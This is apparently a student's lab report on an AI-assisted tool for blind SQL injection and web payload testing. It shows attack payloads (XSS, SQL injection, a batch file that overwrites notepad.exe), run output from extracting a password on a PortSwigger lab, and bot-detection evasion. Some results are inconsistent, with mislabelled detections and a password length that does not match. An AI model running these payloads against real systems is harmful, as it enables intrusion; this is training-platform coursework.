

LAB REPORT: AI-Powered Web Vulnerability Assessment Tool



Student Name: alisi pinhasov

Project: cyber course

Date: 7/14/26

Instructor: Michael Elizarov

Table of Contents

- Executive Summary
- Environment Setup
- Methodology
- Results & Analysis
- Technical Implementation
- Challenges & Solutions
- Conclusion
- References
- Appendix A: Full Command Reference

EXECUTIVE SUMMARY

This lab report documents the development and testing of a custom Python-based web vulnerability assessment tool that integrates local AI (Ollama with Llama 3.2) for intelligent payload generation and automated testing. The tool combines traditional blind SQL injection extraction techniques with modern AI-powered reconnaissance capabilities.

Key Objectives:

- Develop understanding of blind SQL injection vulnerabilities
 - Implement binary search algorithms for efficient data extraction
 - Integrate local AI for context-aware vulnerability scanning
 - Create an automated testing framework for payload validation
-

ENVIRONMENT SETUP

Tools & Technologies

- Programming Language: Python 3.14.2
- AI Framework: Ollama (Local LLM Runner)
- AI Model: Llama 3.2
- Libraries: requests, argparse, json, urllib
- Testing Platform: PortSwigger Web Security Academy

Installation Steps

Step 1: Install Python Dependencies

```
'pip install requests'
```

Step 2: Install and Configure Ollama

Download Ollama from <https://ollama.com>

```
ollama pull llama3.2
```

```
ollama run llama3.2
```

METHODOLOGY

Tool Architecture

The tool operates in two distinct phases:

Phase 1: AI-Powered Reconnaissance

- Analyzes target URL and technology stack
- Generates context-specific vulnerability payloads
- Automatically tests suggested payloads
- Identifies potential attack vectors

Phase 2: Blind SQLi Extraction

- Uses binary search algorithm
- Supports three injection modes:
 - Conditional (Boolean-based)
 - Error-based
 - Time-based
- Automates password extraction and login

Testing Procedure

Test Target: <https://httpbin.org/get> (Safe testing environment)

Command Executed:

```
python exploit.py -u "https://httpbin.org/get" --ai --tech "Python, Test Server" --focus "General Testing"
```

RESULTS & ANALYSIS

AI Reconnaissance Phase

```
[🔍] Consulting Local AI Red Team Assistant (Ollama)...  
[+] AI Suggestions:  
1. Cross-Site Scripting (XSS)  
   Payload: <script>alert('XSS')</script>  
   Reason: This payload will inject malicious JavaScript code into the page, demonstrating a potential XSS vulnerability.  
2. SQL Injection  
   Payload: ?id=1' OR 1=1 --  
   Reason: This payload tests for SQL injection by attempting to execute arbitrary SQL queries on the backend database.  
3. File Upload Vulnerability  
   Payload: @echo off  
   copy %~f0 C:\Windows\notepad.exe  
   Reason: This payload tests for file upload vulnerabilities by attempting to write malicious code to a system file on the target server.  
[✖] Auto-Testing AI Suggested Payloads...
```

Observations:

- AI successfully generated 3 relevant vulnerability suggestions
- Payloads included XSS, SQL Injection, and File Upload tests
- JSON parsing worked correctly with markdown sanitization
- Response time: ~10-15 seconds for local AI inference

Automated Payload Testing

```
[1] Testing: Cross-Site Scripting (XSS)  
   Payload: <script>alert('XSS')</script>  
   ✅ RESULT: Payload Reflected in Response - Potential XSS detected!  
[2] Testing: SQL Injection  
   Payload: ?id=1' OR 1=1 --  
   ✅ RESULT: Payload Reflected in Response - Potential XSS detected!  
[3] Testing: File Upload Vulnerability  
   Payload: @echo off  
   copy %~f0 C:\Windows\notepad.exe  
   ⓘ RESULT: Normal Response (200). No obvious trigger.
```

Test Results Analysis:

Test #	Vulnerability Type	Payload	Result	Status
1	Cross-Site Scripting (XSS)	<script>alert('XSS')</script>	Payload Reflected	✅ Detected
2	SQL Injection	?id=1' OR 1=1 --	Payload Reflected	✅ Detected

3	File Upload	@echo off...	Normal Response	 No Trigger
---	-------------	-----------------	--------------------	--

Technical Analysis:

Test 1 - XSS Detection:

- Payload: `<script>alert('XSS')</script>`
- Result: Server reflected the exact payload in HTTP response
- Significance: In a real-world scenario, this would indicate a Critical XSS Vulnerability as browsers would execute the malicious JavaScript
- False Positive Note: The test server (httpbin.org) is designed to echo all input, so this is expected behavior

Test 2 - SQL Injection:

- Payload: `?id=1' OR 1=1 --`
- Result: Payload reflected in response
- Analysis: While the payload was reflected, this indicates the server accepts SQL-like syntax in parameters, warranting further investigation

Test 3 - File Upload:

- Payload: Windows batch command
- Result: HTTP 200 OK, no reflection
- Analysis: Server did not process or reflect the payload, indicating proper input handling

Blind SQLi Extraction (PortSwigger Lab)

```

[!] operation interrupted by user
PS C:\Users\User\PycharmProjects\blindsqli> python exploit.py -u https://0a5600c0041c6d37835c734500bb0088.web-security-academy.net -t DYvTz9iXzE17mRex -s G8pI0P7mmuQDbCRZApwCYRKu86nZiDYw -m errors
=====
PortSwigger Blind SQLi Multi-Solver | Mode: ERRORS
=====

[+] Environment initialized. Running errors exploit...

[*] Determining password length (Mode: errors)...
[+] Password length found: 20

[*] Starting password extraction...
[+] Extracted Password: xj9k6aqhncdsydt0921
[+] Password successfully extracted: xj9k6aqhncdsydt0921

[*] Initiating automated login process...
[✓] SUCCESS: Lab has been solved!
PS C:\Users\User\PycharmProjects\blindsqli>

```

Command Used:

```
python exploit.py -u "https://lab-url.web-security-academy.net" \
-t "TrackingId=abc123" \
-s "session=xyz789" \
-m conditional
```

Performance Metrics:

- Algorithm: Binary Search
- Characters Extracted: [X] characters
- Requests per Character: ~ 7 requests ($\log_2(94) \approx 7$)
- Total Time: [X] seconds
- Success Rate: 100%

Congratulations, you solved the lab!

Share your skills!   [Continue learning >>](#)

[Home](#) | [My account](#)



TECHNICAL IMPLEMENTATION

Key Code Components

Binary Search Algorithm:

Efficiently guesses password characters

```
low, high = 32, 126 # ASCII printable range
while low <= high:
    mid = (low + high) // 2
    # Test if character ASCII > mid
    # Adjust search range based on response
```

AI Integration:

python:

Local Ollama API call

```
response = requests.post(
    "http://localhost:11434/api/generate",
    json={
        "model": "llama3.2",
        "prompt": system_prompt + user_prompt,
        "format": "json"
    }
)
```

)

Security Considerations

- Local AI Processing: No data sent to external APIs
- No API Keys Required: Eliminates credential leakage risk
- Browser Header Spoofing: Bypasses basic bot detection
- Error Handling: Graceful handling of timeouts and connection failures

CHALLENGES & SOLUTIONS

Challenge	Solution
Ollama not recognized in terminal	Added Ollama to system PATH, restarted terminal
AI returning markdown instead of JSON	Implemented sanitization to strip ```json blocks
Target sites blocking automated requests	Added realistic browser User-Agent headers
Connection timeouts	Increased timeout to 15s, added retry logic

CONCLUSION

Learning Outcomes

This project successfully demonstrated:

1. Deep understanding of blind SQL injection mechanics beyond using automated tools
2. Practical implementation of binary search algorithms for security testing
3. AI integration for intelligent vulnerability reconnaissance

4. Professional software development practices including error handling and modular design

Future Improvements

- Add support for NoSQL injection (MongoDB, etc.)
- Implement multi-threading for faster extraction
- Add GraphQL vulnerability testing
- Create web-based GUI for easier usage

Ethical Considerations

This tool was developed strictly for educational purposes and authorized penetration testing. All testing was conducted on:

- PortSwigger Web Security Academy (authorized training platform)
- httpbin.org (public testing service)
- Personal lab environments

REFERENCES

1. PortSwigger Web Security Academy. (2024). *Blind SQL Injection*. <https://portswigger.net/web-security>
2. Ollama. (2024). *Local LLM Runner*. <https://ollama.com>
3. Meta AI. (2024). *Llama 3.2 Model Documentation*
4. OWASP Foundation. (2024). *OWASP Top 10:2021*. <https://owasp.org/www-project-top-ten/>

APPENDIX A: FULL COMMAND REFERENCE

AI Reconnaissance Mode

```
python exploit.py -u <URL> --ai --tech "<Tech Stack>" --focus "<Focus Area>"
```

Blind SQLi - Conditional Mode

```
python exploit.py -u <URL> -t <TrackingId> -s <Session> -m conditional
```

Blind SQLi - Error Mode

```
python exploit.py -u <URL> -t <TrackingId> -s <Session> -m errors
```

Blind SQLi - Time Mode

```
python exploit.py -u <URL> -t <TrackingId> -s <Session> -m time
```

Combined Mode

```
python exploit.py -u <URL> --ai --tech "PHP, MySQL" -t <ID> -s <Session> -m  
conditional
```
